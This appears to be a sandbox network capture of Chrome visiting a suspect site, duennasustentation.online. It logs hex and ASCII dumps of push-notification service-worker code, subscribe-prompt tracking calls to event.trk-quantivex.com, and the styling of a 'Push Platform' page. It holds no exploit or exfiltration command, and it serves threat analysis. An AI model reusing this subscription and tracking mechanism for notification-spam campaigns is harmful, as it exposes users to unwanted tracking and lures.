2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 76 3d 76 65 72 73 69 6f 6e 2c 6a 2e 70 75 73 68 53 69 74 65 49 64 3d 73 69 74 65 49 64 2c 6a 2e 61 70 69 4b 65 79 3d 73 6d 41 50 49 4b 65 79 2c 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 22 2b 65 6e 76 2e 6e 6f 74 69 66 69 63 61 74 69 6f 6e 44 6f 6d 61 69 6e 2b 22 2f 74 72 61 63 6b 69 6e 67 2f 67 65 74 6e 6f 74 69 66 69 63 61 74 69 6f 6e 22 2c 7b 6d 65 74 68 6f 64 3a 22 70 6f 73 74 22 2c 68 65 61 64 65 72 73 3a 7b 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 7d 2c 62 6f 64 79 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 6a 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 69 66 28 32 30 30 3d 3d 3d 62 2e 73 74 61 74 75 73 29 7b 6c 65 74 20 63 3d 62 2e 6a 73 6f 6e 28 29 3b 72 65 74 75 Data Ascii: v=version,j.pushSiteId=siteId,j.apiKey=smAPIKey,fetch("https://"+env.notificationDomain+"/tracking/getnotification",{method:"post",headers:{"Content-type":"application/json"},body:JSON.stringify(j)}).then(function(b){if(200===b.status){let c=b.json();retu
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 3d 3e 7b 7d 29 2e 63 61 74 63 68 28 61 3d 3e 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 61 2e 6d 65 73 73 61 67 65 29 2c 6c 6f 67 53 57 45 76 65 6e 74 28 22 65 72 72 6f 72 5f 66 65 74 63 68 69 6e 67 5f 70 69 78 65 6c 22 2c 61 2c 76 65 72 73 69 6f 6e 29 7d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 65 6e 64 4e 6f 74 69 66 69 63 61 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 2e 74 69 74 6c 65 21 3d 3d 76 6f 69 64 20 30 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 61 2e 74 69 74 6c 65 26 26 22 41 75 74 6f 22 21 3d 61 2e 6d 65 73 73 61 67 65 26 26 22 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 22 21 3d 61 2e 74 69 74 6c 65 26 26 21 61 2e 73 74 61 74 75 73 29 7b 63 6f 6e 73 74 20 63 3d 61 2e 74 69 74 6c 65 2c 64 3d 61 72 72 61 79 52 6f 74 61 Data Ascii: =>{}).catch(a=>{console.error(a.message),logSWEvent("error_fetching_pixel",a,version)})}}function sendNotification(a,b){if(a.title!==void 0&&"undefined"!==a.title&&"Auto"!=a.message&&"Internal Server Error"!=a.title&&!a.status){const c=a.title,d=arrayRota
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 66 69 63 61 74 69 6f 6e 2e 64 61 74 61 2e 75 72 6c 3b 61 2e 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 64 61 74 61 2e 72 65 74 75 72 6e 2e 70 75 73 68 41 70 69 49 64 73 26 26 73 65 74 43 6c 69 63 6b 44 61 74 61 28 61 2e 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 64 61 74 61 2e 72 65 74 75 72 6e 2e 70 75 73 68 41 70 69 49 64 73 29 2c 61 2e 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 63 6c 6f 73 65 28 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 26 26 62 2e 73 74 61 72 74 73 57 69 74 68 28 22 68 74 74 70 22 29 26 26 61 2e 77 61 69 74 55 6e 74 69 6c 28 63 6c 69 65 6e 74 73 2e 6d 61 74 63 68 41 6c 6c 28 7b 74 79 70 65 3a 22 77 69 6e 64 6f 77 22 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 63 6c 69 65 6e 74 73 2e 6f 70 65 6e 57 Data Ascii: fication.data.url;a.notification.data.return.pushApiIds&&setClickData(a.notification.data.return.pushApiIds),a.notification.close(),"undefined"!=typeof b&&b.startsWith("http")&&a.waitUntil(clients.matchAll({type:"window"}).then(function(){if(clients.openW
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 69 6f 6e 2d 73 74 61 74 65 22 2c 41 4d 50 5f 53 55 42 53 43 52 49 42 45 3a 22 61 6d 70 2d 77 65 62 2d 70 75 73 68 2d 73 75 62 73 63 72 69 62 65 22 2c 41 4d 50 5f 55 4e 53 55 42 53 43 52 49 42 45 3a 22 61 6d 70 2d 77 65 62 2d 70 75 73 68 2d 75 6e 73 75 62 73 63 72 69 62 65 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 67 65 74 48 6f 75 72 42 79 54 69 6d 65 5a 6f 6e 65 28 29 7b 76 61 72 20 61 3d 6e 65 77 20 44 61 74 65 28 29 2e 74 6f 4c 6f 63 61 6c 65 53 74 72 69 6e 67 28 22 65 6e 2d 55 53 22 2c 7b 74 69 6d 65 5a 6f 6e 65 3a 22 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 22 2c 68 6f 75 72 31 32 3a 21 31 7d 29 2c 62 3d 6e 65 77 20 44 61 74 65 28 61 29 2e 74 6f 49 53 4f 53 74 72 69 6e 67 28 29 3b 72 65 74 75 72 6e 7b 64 61 74 65 3a 62 2c 75 6e 69 78 3a 44 61 74 65 2e Data Ascii: ion-state",AMP_SUBSCRIBE:"amp-web-push-subscribe",AMP_UNSUBSCRIBE:"amp-web-push-unsubscribe"};function getHourByTimeZone(){var a=new Date().toLocaleString("en-US",{timeZone:"America/Chicago",hour12:!1}),b=new Date(a).toISOString();return{date:b,unix:Date.
2025-01-08 14:44:45 UTC	757	IN	Data Raw: 6c 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 62 72 6f 61 64 63 61 73 74 52 65 70 6c 79 28 61 2c 62 29 7b 73 65 6c 66 2e 63 6c 69 65 6e 74 73 2e 6d 61 74 63 68 41 6c 6c 28 29 2e 74 68 65 6e 28 63 3d 3e 7b 66 6f 72 28 6c 65 74 20 64 3d 30 3b 64 3c 63 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 63 6f 6e 73 74 20 65 3d 63 5b 64 5d 3b 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 63 6f 6d 6d 61 6e 64 3a 61 2c 70 61 79 6c 6f 61 64 3a 62 7d 29 7d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 6c 42 61 73 65 36 34 54 6f 55 69 6e 74 38 41 72 72 61 79 28 61 29 7b 63 6f 6e 73 74 20 62 3d 22 3d 22 2e 72 65 70 65 61 74 28 28 34 2d 61 2e 6c 65 6e 67 74 68 25 34 29 25 34 29 2c 63 3d 28 61 2b 62 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2d 2f 67 2c 22 2b 22 29 2e 72 65 70 6c 61 63 65 28 2f Data Ascii: l)})}function broadcastReply(a,b){self.clients.matchAll().then(c=>{for(let d=0;d<c.length;d++){const e=c[d];e.postMessage({command:a,payload:b})}})}function urlBase64ToUint8Array(a){const b="=".repeat((4-a.length%4)%4),c=(a+b).replace(/\-/g,"+").replace(/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49815	35.190.80.1	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:46 UTC	558	OUT	OPTIONS /report/v4?s=FQ8ewzKVM7rtDdMxYfQ8LGGFL%2FnsZhRXL0RKtcAUGjfNP%2BM0xGA4XNP40cP9yh0TfkvIYGHP1yi3AvCxcPt%2BggOavqV514LbrgkWm2o3TWOv56n%2BzJOdRNkGSkqRmx2wMwLDM3yQHVXqVRYS HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://duennasustentation.online Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:44:46 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 08 Jan 2025 14:44:45 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49817	172.67.156.201	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:46 UTC	557	OUT	OPTIONS /register/event_log/64d519qjgj HTTP/1.1 Host: event.trk-quantivex.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://duennasustentation.online User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:44:46 UTC	1182	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:46 GMT Content-Length: 0 Connection: close Expires: 0 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Access-Control-Allow-Headers: content-type X-XSS-Protection: 1; mode=block Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: Access-Control-Allow-Methods: POST X-Frame-Options: SAMEORIGIN Access-Control-Expose-Headers: Authorization, Link, X-Total-Count, X-pushPlatformApp-alert, X-pushPlatformApp-error, X-pushPlatformApp-params Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Content-Type-Options: nosniff Permissions-Policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() Access-Control-Max-Age: 1800 cf-cache-status: DYNAMIC
2025-01-08 14:44:46 UTC	643	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 55 37 50 6e 49 45 72 61 47 25 32 42 30 74 37 68 47 61 58 78 4d 7a 57 67 5a 5a 45 55 39 41 62 58 52 68 4c 6b 56 64 68 55 6f 47 72 6d 45 51 64 42 25 32 42 54 61 4d 64 73 77 72 70 4a 64 73 51 38 49 25 32 42 47 30 74 75 33 59 61 73 49 78 59 39 6f 71 4a 42 48 36 68 6c 31 6a 67 38 58 6a 6a 75 4a 70 71 75 25 32 42 57 6b 67 73 58 50 25 32 46 36 46 4e 33 52 73 58 63 38 76 31 48 61 69 57 37 30 69 34 55 50 49 68 69 4f 6a 39 25 32 42 25 32 46 4b 4b 6b 79 79 55 48 73 4b 4f 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U7PnIEraG%2B0t7hGaXxMzWgZZEU9AbXRhLkVdhUoGrmEQdB%2BTaMdswrpJdsQ8I%2BG0tu3YasIxY9oqJBH6hl1jg8XjjuJpqu%2BWkgsXP%2F6FN3RsXc8v1HaiW70i4UPIhiOj9%2B%2FKKkyyUHsKOA%3D%3D"}],"group":"cf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49818	35.190.80.1	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:46 UTC	490	OUT	POST /report/v4?s=FQ8ewzKVM7rtDdMxYfQ8LGGFL%2FnsZhRXL0RKtcAUGjfNP%2BM0xGA4XNP40cP9yh0TfkvIYGHP1yi3AvCxcPt%2BggOavqV514LbrgkWm2o3TWOv56n%2BzJOdRNkGSkqRmx2wMwLDM3yQHVXqVRYS HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 589 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:44:46 UTC	589	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 32 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 38 34 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 64 75 65 6e 6e 61 73 75 73 74 65 6e 74 61 74 69 6f 6e 2e 6f 6e 6c 69 6e 65 2f 3f 65 6e 63 6f 64 65 64 5f 76 61 6c 75 65 3d 32 32 33 47 44 54 31 26 73 75 62 31 3d 65 36 62 64 66 32 31 32 65 37 37 39 34 35 61 31 62 64 64 34 66 35 66 34 35 66 63 61 65 30 61 65 26 73 75 62 32 3d 26 73 75 62 33 3d 26 73 75 62 34 3d 26 73 75 62 35 3d 32 33 32 37 32 26 73 6f 75 72 63 65 5f 69 64 3d 32 30 32 35 39 26 69 70 3d 38 2e 34 Data Ascii: [{"age":2,"body":{"elapsed_time":1848,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.4
2025-01-08 14:44:46 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 08 Jan 2025 14:44:46 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49820	172.67.156.201	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:47 UTC	654	OUT	POST /register/event_log/64d519qjgj HTTP/1.1 Host: event.trk-quantivex.com Connection: keep-alive Content-Length: 122 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: application/json Accept: / Origin: https://duennasustentation.online Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:44:47 UTC	122	OUT	Data Raw: 7b 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 73 65 73 73 69 6f 6e 49 64 22 3a 22 22 2c 22 76 65 72 73 69 6f 6e 22 3a 38 31 38 2c 22 6d 65 73 73 61 67 65 22 3a 22 5c 22 73 75 62 73 63 72 69 62 65 5f 70 72 6f 6d 70 74 5c 22 22 2c 22 65 76 65 6e 74 22 3a 22 70 5f 73 75 62 73 63 72 69 62 65 5f 70 72 6f 6d 70 74 22 7d Data Ascii: {"timezone":"America/New_York","sessionId":"","version":818,"message":"\"subscribe_prompt\"","event":"p_subscribe_prompt"}
2025-01-08 14:44:47 UTC	1167	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:47 GMT Content-Length: 0 Connection: close Expires: 0 Cache-Control: no-cache, no-store, max-age=0, must-revalidate X-XSS-Protection: 1; mode=block Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin X-pushPlatformApp-params: Content-Security-Policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: X-pushPlatformApp-alert: pushPlatformApp.pushSubscription.deleted X-Frame-Options: SAMEORIGIN Access-Control-Expose-Headers: Authorization, Link, X-Total-Count, X-pushPlatformApp-alert, X-pushPlatformApp-error, X-pushPlatformApp-params Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Content-Type-Options: nosniff Permissions-Policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() cf-cache-status: DYNAMIC
2025-01-08 14:44:47 UTC	637	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 66 63 30 78 75 35 4d 69 59 36 67 42 48 73 25 32 42 6b 25 32 42 25 32 46 32 38 77 42 51 61 6d 69 63 39 45 6a 4e 58 49 75 35 7a 55 71 4e 67 64 59 6e 51 47 76 79 32 34 6d 66 51 49 6a 6c 52 71 45 65 38 34 43 34 75 58 5a 61 31 6b 70 71 50 6e 57 42 47 37 69 33 6d 45 6a 62 71 74 4b 72 51 79 47 76 77 78 65 6e 45 33 43 65 6e 42 55 39 51 33 6b 48 25 32 42 78 69 43 47 69 65 6b 34 50 38 42 35 78 79 73 5a 55 41 65 4d 32 31 54 7a 6f 64 59 75 4e 65 77 53 64 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fc0xu5MiY6gBHs%2Bk%2B%2F28wBQamic9EjNXIu5zUqNgdYnQGvy24mfQIjlRqEe84C4uXZa1kpqPnWBG7i3mEjbqtKrQyGvwxenE3CenBU9Q3kH%2BxiCGiek4P8B5xysZUAeM21TzodYuNewSdQ%3D%3D"}],"group":"cf-nel",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49822	104.21.13.162	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:48 UTC	376	OUT	GET /register/event_log/64d519qjgj HTTP/1.1 Host: event.trk-quantivex.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:44:48 UTC	1305	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Expires: 0 Cache-Control: no-cache, no-store, max-age=0, must-revalidate X-XSS-Protection: 1; mode=block Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: Content-Language: en-US X-Frame-Options: SAMEORIGIN Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers vary: accept-encoding Last-Modified: Thu, 19 Dec 2024 08:00:10 GMT X-Content-Type-Options: nosniff Permissions-Policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8hHyjAhWMica5XcKyEHX%2BjVbYCjeVqq3mkH86%2B6reMD0OlpBQ7uphwpn3pa7CLuXcIb%2FAkGk%2FZlIpxD2sOutfKV%2BuUOUQsHgPe2CuCom8eoEdJPEVokLbrp7jBrbBLtnpVliR%2BhxK%2F1WIQ%3D%3D"}],"group":"cf-nel","max_age":604800}
2025-01-08 14:44:48 UTC	362	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 65 63 66 37 62 64 34 66 61 62 30 66 37 34 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 35 33 32 26 6d 69 6e 5f 72 74 74 3d 31 35 32 30 26 72 74 74 5f 76 61 72 3d 35 39 35 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8fecf7bd4fab0f74-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1532&min_rtt=1520&rtt_var=595&sent=4&recv=6&lost=0&retrans=0&sent_b
2025-01-08 14:44:48 UTC	1369	IN	Data Raw: 34 33 64 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 75 73 68 20 50 6c 61 74 66 6f 72 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 50 75 73 68 20 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 20 70 6c 61 74 66 6f 72 6d 22 3e 0a 20 Data Ascii: 43dc<!DOCTYPE html><html class="no-js" lang="en" dir="ltr"><head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Push Platform</title> <meta name="description" content="Push Notifications platform">
2025-01-08 14:44:48 UTC	1369	IN	Data Raw: 36 30 30 3a 23 34 33 35 38 36 32 3b 2d 2d 73 75 72 66 61 63 65 2d 37 30 30 3a 23 33 32 34 32 34 39 3b 2d 2d 73 75 72 66 61 63 65 2d 38 30 30 3a 23 32 32 32 63 33 31 3b 2d 2d 73 75 72 66 61 63 65 2d 39 30 30 3a 23 31 31 31 36 31 38 3b 2d 2d 67 72 61 79 2d 35 30 3a 23 65 65 66 31 66 32 3b 2d 2d 67 72 61 79 2d 31 30 30 3a 23 64 64 65 32 65 34 3b 2d 2d 67 72 61 79 2d 32 30 30 3a 23 62 62 63 35 63 61 3b 2d 2d 67 72 61 79 2d 33 30 30 3a 23 39 38 61 38 61 66 3b 2d 2d 67 72 61 79 2d 34 30 30 3a 23 37 36 38 62 39 35 3b 2d 2d 67 72 61 79 2d 35 30 30 3a 23 35 34 36 65 37 61 3b 2d 2d 67 72 61 79 2d 36 30 30 3a 23 34 33 35 38 36 32 3b 2d 2d 67 72 61 79 2d 37 30 30 3a 23 33 32 34 32 34 39 3b 2d 2d 67 72 61 79 2d 38 30 30 3a 23 32 32 32 63 33 31 3b 2d 2d 67 72 61 79 2d Data Ascii: 600:#435862;--surface-700:#324249;--surface-800:#222c31;--surface-900:#111618;--gray-50:#eef1f2;--gray-100:#dde2e4;--gray-200:#bbc5ca;--gray-300:#98a8af;--gray-400:#768b95;--gray-500:#546e7a;--gray-600:#435862;--gray-700:#324249;--gray-800:#222c31;--gray-
2025-01-08 14:44:48 UTC	1369	IN	Data Raw: 79 61 6e 2d 39 30 30 3a 23 31 32 34 35 35 35 3b 2d 2d 70 69 6e 6b 2d 35 30 3a 23 66 64 66 34 66 39 3b 2d 2d 70 69 6e 6b 2d 31 30 30 3a 23 66 36 63 63 65 30 3b 2d 2d 70 69 6e 6b 2d 32 30 30 3a 23 65 65 61 33 63 37 3b 2d 2d 70 69 6e 6b 2d 33 30 30 3a 23 65 37 37 61 61 65 3b 2d 2d 70 69 6e 6b 2d 34 30 30 3a 23 64 66 35 32 39 36 3b 2d 2d 70 69 6e 6b 2d 35 30 30 3a 23 64 38 32 39 37 64 3b 2d 2d 70 69 6e 6b 2d 36 30 30 3a 23 62 38 32 33 36 61 3b 2d 2d 70 69 6e 6b 2d 37 30 30 3a 23 39 37 31 64 35 38 3b 2d 2d 70 69 6e 6b 2d 38 30 30 3a 23 37 37 31 37 34 35 3b 2d 2d 70 69 6e 6b 2d 39 30 30 3a 23 35 36 31 30 33 32 3b 2d 2d 69 6e 64 69 67 6f 2d 35 30 3a 23 66 34 66 36 66 64 3b 2d 2d 69 6e 64 69 67 6f 2d 31 30 30 3a 23 63 63 64 33 66 35 3b 2d 2d 69 6e 64 69 67 6f 2d Data Ascii: yan-900:#124555;--pink-50:#fdf4f9;--pink-100:#f6cce0;--pink-200:#eea3c7;--pink-300:#e77aae;--pink-400:#df5296;--pink-500:#d8297d;--pink-600:#b8236a;--pink-700:#971d58;--pink-800:#771745;--pink-900:#561032;--indigo-50:#f4f6fd;--indigo-100:#ccd3f5;--indigo-
2025-01-08 14:44:48 UTC	1369	IN	Data Raw: 38 32 34 31 30 3b 2d 2d 72 65 64 2d 37 30 30 3a 23 39 37 31 64 30 64 3b 2d 2d 72 65 64 2d 38 30 30 3a 23 37 37 31 37 30 61 3b 2d 2d 72 65 64 2d 39 30 30 3a 23 35 36 31 31 30 38 3b 2d 2d 70 72 69 6d 61 72 79 2d 35 30 3a 23 66 32 66 38 66 64 3b 2d 2d 70 72 69 6d 61 72 79 2d 31 30 30 3a 23 63 32 64 66 66 36 3b 2d 2d 70 72 69 6d 61 72 79 2d 32 30 30 3a 23 39 31 63 36 65 66 3b 2d 2d 70 72 69 6d 61 72 79 2d 33 30 30 3a 23 36 31 61 64 65 37 3b 2d 2d 70 72 69 6d 61 72 79 2d 34 30 30 3a 23 33 30 39 33 65 30 3b 2d 2d 70 72 69 6d 61 72 79 2d 35 30 30 3a 23 30 30 37 61 64 39 3b 2d 2d 70 72 69 6d 61 72 79 2d 36 30 30 3a 23 30 30 36 38 62 38 3b 2d 2d 70 72 69 6d 61 72 79 2d 37 30 30 3a 23 30 30 35 35 39 38 3b 2d 2d 70 72 69 6d 61 72 79 2d 38 30 30 3a 23 30 30 34 33 37 Data Ascii: 82410;--red-700:#971d0d;--red-800:#77170a;--red-900:#561108;--primary-50:#f2f8fd;--primary-100:#c2dff6;--primary-200:#91c6ef;--primary-300:#61ade7;--primary-400:#3093e0;--primary-500:#007ad9;--primary-600:#0068b8;--primary-700:#005598;--primary-800:#00437
